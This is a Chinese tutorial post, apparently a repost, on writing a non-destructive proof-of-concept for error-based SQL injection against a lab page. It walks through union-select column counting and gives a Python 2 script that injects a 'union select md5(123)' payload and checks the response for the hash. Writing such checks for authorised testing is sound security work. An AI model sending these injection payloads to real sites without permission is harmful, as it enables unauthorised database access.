渗透测试之POC基于报错的sql注入
程序员文章站
2022-06-13 12:56:34
...
sql注入一般是主要有三种,基于报错注入,基于布尔的盲注和基于时间的盲注。
原理我不多说了,今天开始写sql注入的poc。
首先POC的漏洞存在的证明,而sql注入的poc我们只要证明sql语句被执行了即可。
首先看我们的测试环境。
测试环境中我们再注入的参数加个单引号,发现可以有sql报错,从报错额语句中可以看出是基于报错的字符型sql注入
此时用union来确定有多少个字段
id = 1' union select 1,2,3%23
一直到第四个参数发现报错参数不匹配
所以一共有3个参数。
我们设置一个不存在的id数,这样的话,第一个查询无效,便会显示第二个查询的结果
这时候就是我们准备要执行我们的poc的时候了,让它执行什么sql才好呢?一般来说poc的证明如果用于扫描的话,客户希望是无损的,所以我们还是不要去爆人家的root密码,一般常见的就是mysql自带的md5这个函数去执行,因为这样得到的预期结果可以控制。
所以我们脚本写的poc就是发送一个这样的请求,然后在响应的文本中去寻找是否存在MD5(123)的值,存在则判断存在sql注入。
下载开始python基于无框架写poc
#coding:utf-8
import requests
import sys
import hashlib
def verify(url):
target = url + "/Less-1/index.php?id=10086%27union%20select%201,2,md5(123)%23"
try:
#发送http get请求
req = requests.get(target)
response = req.text
#print response
if response:
#查询md5(123)
if hashlib.md5('123').hexdigest() in response:
print "%s is vulnerable" %target
else:
print "%s is not vulnerable" %target
except Exception,e:
print "Something happend...."
print e
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
#print url
verify(url)
else:
print "Usage:python %s url"%(args[0])
if __name__ == '__main__':
main()
python脚本测试结果
运行能证明sql注入是存在的